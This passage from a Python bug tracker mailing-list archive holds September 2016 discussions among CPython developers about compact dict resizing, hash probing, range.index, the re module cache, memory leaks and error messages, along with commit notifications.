In-Reply-To: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>
Message-ID: <1474239504.47.0.528118147892.issue28200@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I didn't push the fix myself, because Steve Dower maybe made the change for a specific reason?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Sun Sep 18 20:37:56 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 00:37:56 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1474245476.24.0.634595937354.issue28199@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Just before the re-insertion, we should also do a compaction-in-place for the keys/values/hashes array if it has a significant number of holes for previously deleted entries.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Sun Sep 18 20:40:02 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 00:40:02 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474245602.4.0.27709583837.issue28193@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I think I'll just take the low hanging fruit in _compile_repl and call it a day.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 21:03:17 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 19 Sep 2016 01:03:17 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>
Message-ID: <20160919010313.17395.58621.BBB0A10E@psf.io>


Roundup Robot added the comment:

New changeset cf6e9968ebb7 by Benjamin Peterson in branch '3.6':
always define HAVE_LONG_LONG (#27961)
https://hg.python.org/cpython/rev/cf6e9968ebb7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Sun Sep 18 21:13:10 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Mon, 19 Sep 2016 01:13:10 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474247590.82.0.350997771026.issue28197@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Yes, that's the precise reason I caught this. I was implementing some tools to do with Sequences (seqtools, like itertools but having non-ephemeral output given non-ephemeral input), and the Sequence that was easiest to test quickly was range. In `positions` (like .index but gives all the places a value appears), it raised TypeError.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Sun Sep 18 23:16:54 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 19 Sep 2016 03:16:54 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1474255014.69.0.0387905626228.issue28199@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Then how about entries(key, value pairs)? The size of entries does not match the available hash slots. For example, an empty dict allocates a hash array with 5 available slots and 5 entries. Now we resize the hash array to size 16 and it can afford 10 entries but you only get room for 5 entries. How could we insert the 6th entry?

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Sun Sep 18 23:17:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 19 Sep 2016 03:17:59 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <20160919031756.19709.25197.69BAE1D5@psf.io>


Roundup Robot added the comment:

New changeset 88110cfbf4dc by Raymond Hettinger in branch '3.6':
Issue #28193: Use lru_cache in the re module.
https://hg.python.org/cpython/rev/88110cfbf4dc

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 23:18:38 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 03:18:38 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474255118.66.0.452375321289.issue28193@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 23:52:52 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 03:52:52 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474257172.28.0.185834348178.issue28197@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> These broke some concrete Sequence implementations.

Poor choice of words.  The concrete implementations didn't change at all. 

Perhaps the concrete implementation need to be brought more in-sync with the ABC.  That would be reasonable; afteralll the goal is substitutability  -- that is the only reason that the old xrange morphed into something with nearly useless count() and index() methods in the first place.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:01:30 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 04:01:30 +0000
Subject: [issue28189] dictitems_contains swallows compare errors
In-Reply-To: <1474125942.74.0.117565832141.issue28189@psf.upfronthosting.co.za>
Message-ID: <1474257690.6.0.347705482355.issue28189@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28189>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:01:39 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 19 Sep 2016 04:01:39 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1474257699.6.0.930133279223.issue28199@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Current compact ordered dict implementation is bit different from yours.
When there was removed item, there are NULL entries in ma_entries, instead of swapping last item and deleted item.
It's important to keep insertion order.

But it's easy to detect clean dict. Your suggestion can be used when:

* dk_lookup == lookdict_unicode_nodummy: There are no dummies, all keys are unicode, and no NULL entries.
* ma_used == dk_nentries: It means there are no NULL entries. (All deletion except .popitem() is allowed)

I think dictresize for split table can be split function. But I don't know it can improve performance or readability.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:01:39 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 19 Sep 2016 04:01:39 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>
Message-ID: <1474257699.65.0.655254933642.issue28200@psf.upfronthosting.co.za>


Steve Dower added the comment:

It's not clear to me that Py_UNICODE is guaranteed to be wchar_t for all time, that's all. If it is, go ahead. Otherwise the path_t object has the ability to clean up after itself, so perhaps it should be used here?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:25:13 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 19 Sep 2016 04:25:13 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
Message-ID: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>


New submission from INADA Naoki:

Current perturb shift code is like following:

    for (perturb = hash; ; perturb >>= PERTURB_SHIFT) {
        i = mask & ((i << 2) + i + perturb + 1);

This loop is start after first conflict. It means perturb == hash for first conflict.

The purpose of perturb shift is avoid long conflict chain when keys more
than two have hashes their lower-bit is same. So first perturb should be hash >> PERTURB_SHIFT.

example: Consider about ma_keys == 16 and keys are [1, 17, 33, 49, 65].
Current perturb
1. hash(1) & (16-1) == 1; 1 uses ix==1 slot.
2. hash(17) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + 17 + 1) == 5; use ix==5 slot.
3. hash(33) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + 33 + 1) == 5; ix==5 conflicts; ...

When first perturb = hash >> PERTURB_SHIFT:
1. hash(1) & (16-1) == 1; 1 uses ix==1 slot.
2. hash(17) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + (17>>5) + 1) == 4; use ix==4 slot.
3. hash(33) & (16-1) == 1; ix==1 conflicts; Next ix is mask & (3 + (33>>5) + 1) == 5; use ix==5 slot.


While it's difficult to see performance difference from benchmark, this should be decrease possibility of 2nd conflict.

----------
components: Interpreter Core
messages: 276936
nosy: methane
priority: normal
severity: normal
status: open
title: dict: perturb shift should be done when first conflict
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:32:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 19 Sep 2016 04:32:35 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474259555.6.0.852352564906.issue28201@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +rhettinger, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:39:13 2016
From: report at bugs.python.org (Tim Peters)
Date: Mon, 19 Sep 2016 04:39:13 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474259953.22.0.748791419827.issue28201@psf.upfronthosting.co.za>


Tim Peters added the comment:

Good catch!  I agree - and I wrote this code to begin with, so my opinion should count ;-)

----------
nosy: +tim.peters

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:40:49 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 19 Sep 2016 04:40:49 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1474260049.6.0.370913651107.issue28199@psf.upfronthosting.co.za>


INADA Naoki added the comment:

> We can still clean this up for Python 3.6.  We're in feature freeze, not development freeze.

Does it mean there is a chance to improve OrderedDict to use new dict implementation, if it seems safe enough?
Is new implementation a feature?

(After OrderedDict implementation is improved, functools.lru_cache can use OrderedDict and remove doubly linked list too.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:46:34 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 19 Sep 2016 04:46:34 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>
Message-ID: <1474260394.61.0.637343288097.issue28200@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Deprecated functions and types of the C API
-------------------------------------------

The :c:type:`Py_UNICODE` has been deprecated by :pep:`393` and will be
removed in Python 4. All functions using this type are deprecated:

Unicode functions and methods using :c:type:`Py_UNICODE` and
:c:type:`Py_UNICODE*` types:

* :c:macro:`PyUnicode_AS_UNICODE`, :c:func:`PyUnicode_AsUnicode`,
  :c:func:`PyUnicode_AsUnicodeAndSize`: use :c:func:`PyUnicode_AsWideCharString`

(From Doc/whatsnew/3.3.rst)

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:46:43 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 19 Sep 2016 04:46:43 +0000
Subject: [issue28189] dictitems_contains swallows compare errors
In-Reply-To: <1474125942.74.0.117565832141.issue28189@psf.upfronthosting.co.za>
Message-ID: <20160919044640.14531.52598.FA8B7B33@psf.io>


Roundup Robot added the comment:

New changeset 2a9e0e869ca7 by Raymond Hettinger in branch '3.5':
Issue #28189: dictitems_contains no longer swallows compare errors.
https://hg.python.org/cpython/rev/2a9e0e869ca7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28189>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:50:13 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 04:50:13 +0000
Subject: [issue28189] dictitems_contains swallows compare errors
In-Reply-To: <1474125942.74.0.117565832141.issue28189@psf.upfronthosting.co.za>
Message-ID: <1474260613.5.0.0123207816149.issue28189@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Thanks for the patch.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28189>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:51:41 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 19 Sep 2016 04:51:41 +0000
Subject: [issue28189] dictitems_contains swallows compare errors
In-Reply-To: <1474125942.74.0.117565832141.issue28189@psf.upfronthosting.co.za>
Message-ID: <1474260701.4.0.608628463039.issue28189@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Thanks for the merge Raymond. :)

----------
stage: patch review -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28189>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:52:37 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 04:52:37 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474260757.86.0.620961954379.issue28201@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I agree and my opinion counts even more because I long ago made this change for setobjects ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Mon Sep 19 00:52:58 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 19 Sep 2016 04:52:58 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1474260778.96.0.617615201143.issue28199@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> (After OrderedDict implementation is improved, functools.lru_cache can use OrderedDict and remove doubly linked list too.)

functools.lru_cache can use just ordered dict. But simple implementation is 1.5 times slower. I'm working on this.

I think that changing implementation of lru_cache and OrderedDict is a new feature and can came only in 3.7, when new dict implementation will be more tested.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Mon Sep 19 01:02:27 2016
From: report at bugs.python.org (Jack Liu)
Date: Mon, 19 Sep 2016 05:02:27 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global available available is not destroyed when delete the module
Message-ID: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>


New submission from Jack Liu:

0
down vote
favorite
I have a app loading python35.dll. Use python API PyImport_AddModule to run a py file. And use PyDict_DelItemString to delete the module. There is a global vailable in the py file. The global variable is not destroyed when calling PyDict_DelItemString to delete the module. That cause the memory leak.

But it is ok with python33.dll, the global variable can be destroyed when calling PyDict_DelItemString to delete the module.

How to resolve the problem? Is there a workaround? I need to use python35.dll and wish the global variable in a module can be released automatically when call PyDict_DelItemString to delete the module.

Here is the python test code:

class Simple:  
     def __init__( self ):  
         print('Simple__init__')
     def __del__( self ):  
         print('Simple__del__') 

simple = Simple()

----------
components: Library (Lib)
messages: 276945
nosy: Jack Liu
priority: normal
severity: normal
status: open
title: Python 3.5.1 C API, the global available available is not destroyed when delete the module
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Mon Sep 19 01:15:54 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Mon, 19 Sep 2016 05:15:54 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474262154.0.0.196922495739.issue28197@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Yes, I agree these are useless _if you know you're dealing with range_. However, if you have a Sequence, it would be very useful not to have range be a special case.

Of course, one solution is to have a default .index implementation in the Sequence ABC itself, but still I'd argue that range can implement the 3-arg .index much better than generic Sequence.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Mon Sep 19 01:22:30 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 19 Sep 2016 05:22:30 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1474262550.5.0.641435526085.issue28147@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Ahh, I see.

> If there are any integer a such as ESTIMATE_SIZE(a) == n and n == 2**m and USABLE_FRACTION(n) == a - 1.

There are, such as 11, 43...

> a items cannot be inserted into dict after dictresize(d, ESTIMATE_SIZE(a))

It can but needs another resize in insertdict which breaks the intention of ESTIMATE_SIZE.

Then everything looks fine to me. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Mon Sep 19 02:24:20 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 19 Sep 2016 06:24:20 +0000
Subject: [issue11664] Add patch method to unittest.TestCase
In-Reply-To: <1300999439.71.0.376555102459.issue11664@psf.upfronthosting.co.za>
Message-ID: <1474266260.9.0.977112752188.issue11664@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11664>
_______________________________________

From report at bugs.python.org  Mon Sep 19 02:27:53 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Mon, 19 Sep 2016 06:27:53 +0000
Subject: [issue18617] TLS and Intermediate Certificates
In-Reply-To: <1375376317.99.0.429350247521.issue18617@psf.upfronthosting.co.za>
Message-ID: <1474266473.5.0.99876104065.issue18617@psf.upfronthosting.co.za>


Changes by Chi Hsuan Yen <yan12125 at gmail.com>:


----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18617>
_______________________________________

From report at bugs.python.org  Mon Sep 19 02:30:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 19 Sep 2016 06:30:21 +0000
Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.)
In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za>
Message-ID: <1474266621.87.0.756386802939.issue24536@psf.upfronthosting.co.za>


Christian Heimes added the comment:

In C programming common names for both ends are reader and writer. We could go with the pipes analogy and call the ends inlet and outlet.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24536>
_______________________________________

From report at bugs.python.org  Mon Sep 19 02:44:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 19 Sep 2016 06:44:28 +0000
Subject: [issue24022] Python heap corruption issue
In-Reply-To: <1429632241.9.0.734206220056.issue24022@psf.upfronthosting.co.za>
Message-ID: <20160919064423.4531.81523.5078601F@psf.io>


Roundup Robot added the comment:

New changeset ccfea26e6582 by Benjamin Peterson in branch '3.4':
properly handle the single null-byte file (closes #24022)
https://hg.python.org/cpython/rev/ccfea26e6582

New changeset c6438a3df7a4 by Benjamin Peterson in branch '2.7':
properly handle the single null-byte file (closes #24022)
https://hg.python.org/cpython/rev/c6438a3df7a4

New changeset d2f86d9c53b9 by Benjamin Peterson in branch '3.6':
merge 3.5 (#24022)
https://hg.python.org/cpython/rev/d2f86d9c53b9

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24022>
_______________________________________

From report at bugs.python.org  Mon Sep 19 02:52:53 2016
From: report at bugs.python.org (Jack Liu)
Date: Mon, 19 Sep 2016 06:52:53 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474267973.35.0.253270151702.issue28202@psf.upfronthosting.co.za>


Changes by Jack Liu <liujack201608 at gmail.com>:


----------
components: +Extension Modules -Library (Lib)
title: Python 3.5.1 C API, the global available available is not destroyed when delete the module -> Python 3.5.1 C API, the global variable is not destroyed when delete the module

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Mon Sep 19 02:56:30 2016
From: report at bugs.python.org (R. David Murray)
Date: Mon, 19 Sep 2016 06:56:30 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474268190.96.0.76224881928.issue28165@psf.upfronthosting.co.za>


R. David Murray added the comment:

I can't reproduce this with either python3.4.3 or 3.5 or 3.6 tip running it on gentoo linux.  For me it bumps up initially but then remains constant even if I let it run for many more probes than in your example.

I'm not sure what to suggest to you for further debugging this.  It is surprising that Arch would have a different behavior than Gentoo in this context.  If we are lucky maybe someone else will be able to reproduce it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Mon Sep 19 03:01:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 19 Sep 2016 07:01:50 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474268510.02.0.130257611513.issue28182@psf.upfronthosting.co.za>


Christian Heimes added the comment:

What do we do about ssl.CertificateError? It's not a subclass of SSLError and raised by match_hostname().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Mon Sep 19 03:41:46 2016
From: report at bugs.python.org (Manish Goregaokar)
Date: Mon, 19 Sep 2016 07:41:46 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
Message-ID: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>


New submission from Manish Goregaokar:

When the second argument of complex() is not a number/string, the type error reports the error but prints the type of the first argument:

    > complex({1:2},1j)
    Traceback (most recent call last):
     File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'dict'
    >complex(1j,{1:2})
    Traceback (most recent call last):
     File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'complex'
    >>> complex(1, {1:2})
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'int'

----------
components: Library (Lib)
messages: 276952
nosy: Manish Goregaokar
priority: normal
severity: normal
status: open
title: complex() gives wrong error when the second argument has an invalid type
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:09:29 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 19 Sep 2016 08:09:29 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474272569.72.0.039297290879.issue28203@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +mark.dickinson, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:19:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 19 Sep 2016 08:19:29 +0000
Subject: [issue20657] OpenBSD: Merge patches
In-Reply-To: <1392639207.52.0.881152822714.issue20657@psf.upfronthosting.co.za>
Message-ID: <1474273169.04.0.701107756921.issue20657@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Except for the locale patch, all remaining patches at http://cvsweb.openbsd.org/cgi-bin/cvsweb/ports/lang/python/3.5/patches/ look specific to BSD.

----------
nosy: +christian.heimes
type:  -> behavior
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20657>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:20:24 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 19 Sep 2016 08:20:24 +0000
Subject: [issue23503] undefined behavior in Objects/obmalloc.c
In-Reply-To: <1424726336.65.0.769638302679.issue23503@psf.upfronthosting.co.za>
Message-ID: <1474273224.94.0.228226340913.issue23503@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> haypo
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23503>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:20:57 2016
From: report at bugs.python.org (Soumya Sharma)
Date: Mon, 19 Sep 2016 08:20:57 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474273257.69.0.407189919864.issue28203@psf.upfronthosting.co.za>


Soumya Sharma added the comment:

Contains changes made to Objects/complexobject.c
Changed the error message returned when second argument of complex() is not number/string
Originally:
>complex(1j,{1:2})
    Traceback (most recent call last):
     File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'complex'

After patch:
>complex(1j,{1:2})
    Traceback (most recent call last):
     File "<stdin>", line 1, in <module>
    TypeError: complex() argument must be a string or a number, not 'dict'

----------
hgrepos: +356
keywords: +patch
nosy: +soummyaah
Added file: http://bugs.python.org/file44745/Issue28203.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:23:39 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 19 Sep 2016 08:23:39 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474273419.2.0.364924491138.issue28203@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
stage:  -> patch review
type: enhancement -> behavior
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:36:10 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 08:36:10 +0000
Subject: [issue23503] undefined behavior in Objects/obmalloc.c
In-Reply-To: <1424726336.65.0.769638302679.issue23503@psf.upfronthosting.co.za>
Message-ID: <1474274170.93.0.507633833429.issue23503@psf.upfronthosting.co.za>


STINNER Victor added the comment:

It seems that line numbers are for Python 3.5:

#define PTA(x)  ((poolp )((uchar *)&(usedpools[2*(x)]) - 2*sizeof(block *)))
#define PT(x)   PTA(x), PTA(x)

static poolp usedpools[2 * ((NB_SMALL_SIZE_CLASSES + 7) / 8) * 8] = {
    PT(0), PT(1), PT(2), PT(3), PT(4), PT(5), PT(6), PT(7) <==== HERE

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23503>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:40:15 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 08:40:15 +0000
Subject: [issue23503] undefined behavior in Objects/obmalloc.c
In-Reply-To: <1424726336.65.0.769638302679.issue23503@psf.upfronthosting.co.za>
Message-ID: <1474274415.58.0.305281401782.issue23503@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> As a result, this initializer causes this file to be undefined.

Hum, in practice I'm not aware of any crash on any platform. Python is tested on various compilers (GCC, Clang, ICC, Microsoft Visual Studio, etc.), various operating systems (Mac OS X, Linux, Windows, FreeBSD, OpenBSD, Solaris, etc.), various architectures (x86, x86-64, PPC, etc.).

The memory allocator is probably the first instruction when starting Python.

Anyway, do you see a way to avoid the undefined behaviour?

Python has a _PyMem_SetupAllocators() function called very early in main() (before the first Python memory allocation), but calling this function is optional. So we have to prepare everything during the compilation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23503>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:44:12 2016
